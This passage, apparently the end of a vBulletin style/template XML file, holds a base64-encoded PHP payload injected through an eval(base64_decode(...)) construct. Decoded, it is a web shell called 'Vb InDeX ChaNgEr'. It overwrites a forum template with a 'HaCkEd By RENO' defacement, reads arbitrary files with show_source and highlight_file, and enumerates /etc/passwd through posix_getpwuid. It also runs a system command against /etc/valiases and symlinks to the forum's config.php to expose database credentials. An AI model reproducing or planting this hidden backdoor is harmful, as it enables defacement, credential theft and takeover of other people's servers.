DAlIiBiZ2NvbG9yPSIjMDAwMDAwIiBoZWlnaHQ9IiUiPgoJPHRyPgoJCTx0ZD48Y2VudGVyPjxmb250IGNvbG9yPSJ3aGl0ZSIgZmFjZT0idGFob21hIiBzaXplPSI0Ij48Yj5bIFZiIEluRGVYIENoYU5nRXIgXTwvYj48L2ZvbnQ+PC9jZW50ZXI+PC90ZD4KCTwvdHI+CjwvdGFibGU+Cjw/CgppZihlbXB0eSgkX1BPU1RbJ2luZGV4J10pKXsKZWNobyAiPEZPUk0gbWV0aG9kPVwiUE9TVFwiPgpob3N0IDogPElOUFVUIHNpemU9XCIxNVwiIHZhbHVlPVwibG9jYWxob3N0XCIgbmFtZT1cImxvY2FsaG9zdFwiIHR5cGU9XCJ0ZXh0XCI+CmRhdGFiYXNlIDogPElOUFVUIHNpemU9XCIxNVwiIHZhbHVlPVwiZm9ydW1fdmJcIiBuYW1lPVwiZGF0YWJhc2VcIiB0eXBlPVwidGV4dFwiPjxicj4KdXNlcm5hbWUgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJmb3J1bV92YlwiIG5hbWU9XCJ1c2VybmFtZVwiIHR5cGU9XCJ0ZXh0XCI+CnBhc3N3b3JkIDogPElOUFVUIHNpemU9XCIxNVwiIHZhbHVlPVwidmJcIiBuYW1lPVwicGFzc3dvcmRcIiB0eXBlPVwicGFzc3dvcmRcIj48YnI+CiAgICAgIDxicj4KPHRleHRhcmVhIG5hbWU9XCJpbmRleFwiIGNvbHM9XCI3MFwiIHJvd3M9XCIzMFwiPkhhQ2tFZCBCeSBSRU5PPC90ZXh0YXJlYT48YnI+CjxJTlBVVCB2YWx1ZT1cIlNldFwiIG5hbWU9XCJzZW5kXCIgdHlwZT1cInN1Ym1pdFwiPgo8L0ZPUk0+IjsKfWVsc2V7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOwokZGF0YWJhc2UgID0gJF9QT1NUWydkYXRhYmFzZSddOwokdXNlcm5hbWUgID0gJF9QT1NUWyd1c2VybmFtZSddOwokcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOwokaW5kZXggICAgID0gJF9QT1NUWydpbmRleCddOwogICAgICAgICBAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGF0YWJhc2UpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKCiRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOwoKJHNldF9pbmRleCAgPSAie1wke2V2YWwoYmFzZTY0X2RlY29kZShcJyI7Cgokc2V0X2luZGV4IC49IGJhc2U2NF9lbmNvZGUoImVjaG8gXCIkaW5kZXhcIjsiKTsKCgokc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7Cgokb2s9QG15c3FsX3F1ZXJ5KCJVUERBVEUgdGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kc2V0X2luZGV4LiInIFdIRVJFIHRpdGxlID0nc3BhY2VyX29wZW4nIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwoKaWYoJG9rKXsKZWNobyAiISEgdXBkYXRlIGZpbmlzaCAhITxicj48YnI+IjsKfQoKfQo/Pgo8aHI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ci5zdHlsZTEgewoJdGV4dC1hbGlnbjogY2VudGVyOwoJdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Cgljb2xvcjogI0ZGRkZGRjsKCWZvbnQtc2l6ZTogbGFyZ2U7Cn0KPC9zdHlsZT4KPC9oZWFkPgo8YnI+CjxodG1sIHhtbG5zOnY9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206dm1sIiB4bWxuczpvPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpvZmZpY2UiPgoKPGNlbnRlcj4KPHRhYmxlIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCByZ2IoMjE4LCAyMTgsIDIxOCk7IiB3aWR0aD0iMTAwJSIgYmdjb2xvcj0iIzAwMDAwMCIgaGVpZ2h0PSIlIj4KCTx0cj4KCQk8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9InRhaG9tYSIgc2l6ZT0iNCI+PGI+WyBSZWFkIEJ5IHNob3dfc291cmNlICYgaGlnaGxpZ2h0X2ZpbGUgXTwvYj48L2ZvbnQ+PC9jZW50ZXI+PC90ZD4KCTwvdHI+CjwvdGFibGU+CjwvY2VudGVyPgo8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9InRhaG9tYSIgc2l6ZT0iNCI+Cjw/cGhwCi8vUmVhZCBCeSBzaG93X3NvdXJjZSAmICBoaWdobGlnaHRfZmlsZQplY2hvICI8aHRtbD4KPC90ZD48L3RyPjwvdGFibGU+PGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJyA+CjwvdGQ+PC90cj48L3RhYmxlPjxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YScgPgo8YnI+CjxiPnNob3dfc291cmNlICA6IDwvYj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2hvdycgdmFsdWU9Jycgc2l6ZT0nNTknIHN0eWxlPSdjb2xvcjogI2ZmZmZmZjsgYm9yZGVyOiAxcHggZG90dGVkICNmZmZmZmY7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAnPjwvcD4KPGI+aGlnaGxpZ2h0X2ZpbGUgOiA8L2I+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hpZ2gnIHZhbHVlPScnIHNpemU9JzU5JyBzdHlsZT0nY29sb3I6ICNmZmZmZmY7IGJvcmRlcjogMXB4IGRvdHRlZCAjZmZmZmZmOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwJz48L3A+CjxpbnB1dCB0eXBlPSdzdWJtaXQnJyAgdmFsdWU9J1JlYWQnICBzdHlsZT0nY29sb3I6ICNmZmZmZmY7IGJvcmRlcjogMXB4IGRvdHRlZCAjZmZmZmZmOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwJz48L2Zvcm08L3A+CjwvZm9ybTwvcD4iOwoKaWYoZW1wdHkoJF9QT1NUWydzaG93J10pKQp7Cn0KZWxzZQp7CiRzID0gJF9QT1NUWydzaG93J107CmVjaG8gIjxiPjxoMT48Zm9udCBzaXplPSc0JyBjb2xvcj0nc2lsdmVyJz5zaG93X3NvdXJjZTwvZm9udD48L2gxPiI7CiRzaG93ID0gc2hvd19zb3VyY2UoJHMpOwp9CmlmKGVtcHR5KCRfUE9TVFsnaGlnaCddKSkKewp9CmVsc2UKewokaCA9ICRfUE9TVFsnaGlnaCddOwplY2hvICI8Yj48aDE+PGZvbnQgc2l6ZT0nNCcgY29sb3I9J3NpbHZlcic+aGlnaGxpZ2h0X2ZpbGU8L2ZvbnQ+PC9oMT4iOwplY2hvICI8YnI+IjsKJGhpZ2ggPSBoaWdobGlnaHRfZmlsZSgkaCk7Cn0KPz4KPGhyPgo8YnI+CjxzdHlsZT4KdGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOndoaXRlO2ZvbnQtd2VpZ2h0OmJvbGQ7Zm9udC1zaXplOiAxMnB4O2ZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQppbnB1dHtGT05ULVdFSUdIVDpub3JtYWw7YmFja2dyb3VuZC1jb2xvcjogIzE5MTkxOTtmb250LXNpemU6IDEzcHg7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjogd2hpdGU7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7aGVpZ2h0OjE3fQo8L3N0eWxlPgo8L2Zvcm0+CiAgICA8ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0yPjxiPgo8Zm9ybSBzdHlsZT0iYm9yZGVyOiAxcHggcmlkZ2UgI0ZGRkZGRiI+Cjx0ZCB3aWR0aD0iNTAlIj48Zm9udCBjb2xvcj13aGl0ZT5SZWFkIGV0Yy9wYXNzd2QgYnkgcG9zaXhfZ2V0cHd1aWQ8L2ZvbnQ+PC90ZD4KPGJyPgogICAgPHRkIHdpZHRoPSI1MCUiPjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPSJwbHVnaW4iPjxvcHRpb24gdmFsdWU9InBsdWdpbiI+L2V0Yy9wYXNzd2Q8L29wdGlvbj48L29wdGlvbj48L3NlbGVjdD48L3RkPgoKPHRkIHdpZHRoPSIxMDAlIiBjb2xzcGFuPSIyIj4KICAgIDxwIGFsaWduPSJjZW50ZXIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPjwvdGQ+CiAgICA8L2Zvcm0+CiAgICAgIDxmb3JtIHN0eWxlPSJib3JkZXI6IDFweCByaWRnZSAjRkZGRkZGIj4KICAgIDx0ZCB3aWR0aD0iNTAlIj48Zm9udCBjb2xvcj13aGl0ZT5SZWFkIGV0Yy92YWxpYXNlcyBieSBzeXN0ZW08L2ZvbnQ+PC90ZD4KCiAgICAgPHRkIHdpZHRoPSI1MCUiPjxzZWxlY3Qgc2l6ZT0iMSIgbmFtZT0iYWxpYXMiPjxvcHRpb24gdmFsdWU9ImFsaWFzIj4vZXRjL3ZhbGlhc2VzPC9vcHRpb24+PC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4KCjx0ZCB3aWR0aD0iMTAwJSIgY29sc3Bhbj0iMiI+CgogICAgPHAgYWxpZ249ImNlbnRlciI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC90ZD4KICA8L3RyPgogIDwvZm9ybT4KPD9waHAKIC8vIFJlYWQgYnllIHBvc2l4X2dldHB3dWlkICYgc3lzdGVtCiAgIGlmICgkX0dFVFsnYWxpYXMnXSApCgoKICAgICAgc3lzdGVtKCdscyAtYWwgL2V0Yy92YWxpYXNlcycpOwoKCgogaWYgKCRfR0VUWydwbHVnaW4nXSApCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDYwMDAwOyR1aWQrKyl7ICAgLy9jYXQgL2V0Yy9wYXNzd2QKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIiR2YWw6IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQo/Pgo8Zm9ybSBzdHlsZT0iYm9yZGVyOiAxcHggcmlkZ2UgI0ZGRkZGRiI+CjxwIGFsaWduPSJjZW50ZXIiPjxiPjxmb250IHNpemU9IjQiIGNvbG9yPSIjRkZGRkZGIj5SZWFkIEJ5IFN5bWxpbmsoKTwvZm9udD48L2I+PC9wPgogICAgIDxwIGFsaWduPSJjZW50ZXIiPiAgIDx0ZCB3aWR0aD0iNTAlIj48L3RkPjwvcD4KIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyM24wIiB2YWx1ZT0iPD9waHAgJGxpbmU9JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsgZWNobyAkbGluZSAuICIvdmIvaW5jbHVkZXMvY29uZmlnLnBocCI7ID8+IiBzaXplPSI1OSI+Cjx0cj4KICAgIDx0ZCB3aWR0aD0iNTAlIiBjb2xzcGFuPSIyIj4KICAgIDxwIGFsaWduPSJjZW50ZXIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPjwvdGQ+CiAgPC90cj4KPC9mb3JtPgo8P3BocAovLyBSZWFkIEJ5IHN5bWxpbmsKZWNobyAiPC90ZXh0YXJlYT4iOwoKJGsgPSAkX0dFVFsncjNuMCddOwokZmxpYiA9ICJyZW5vLnR4dCI7CgppZiAoJGsgPT0gIiIpIHsKZGllOwp9ZWxzZXsKQHVubGluaygkZmxpYik7CiRzeW0gPSAkazsKJGxpbmsgPSBnZXRjd2QoKSAuICIvIiAuICRmbGliOwpAc3ltbGluaygkc3ltLCAkbGluayk7CmlmICgka3swfSA9PSAiLyIpIHsKZWNobyAiPHNjcmlwdD4gd2luZG93LmxvY2F0aW9uID0gJyIgLiAkZmxpYiAuICInPC9zY3JpcHQ+IjsKfWVsc2V7CmVjaG8gIjxwcmU+PHhtcD4iOwplY2hvIHJlYWRsaW5rKCRmbGliKSAuICJcbiI7CmVjaG8gIkZpbGVzaXplOiAiIC4gbGlua2luZm8oJGZsaWIpIC4gIkJcblxuIjsKJGRkaXIgPSBnZXRjd2QoKTsKJGZpbGUyID0gc3RyX3JlcGxhY2UoJERPQ1VNRU5UX1JPT1QsJycgLCAkZGRpcik7CiRmaWxlMiA9ICJodHRwOi8vIiAuICRTRVJWRVJfTkFNRSAuICRmaWxlZSAuICRmbGliOwokcmVzdWx0ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGUyKTsgZWNobyAkcmVzdWx0Owp9Cn0='))}}{${exit()}}&
$_phpinclude_output
  ]]> 
  </template>
  </templategroup>
  </style>
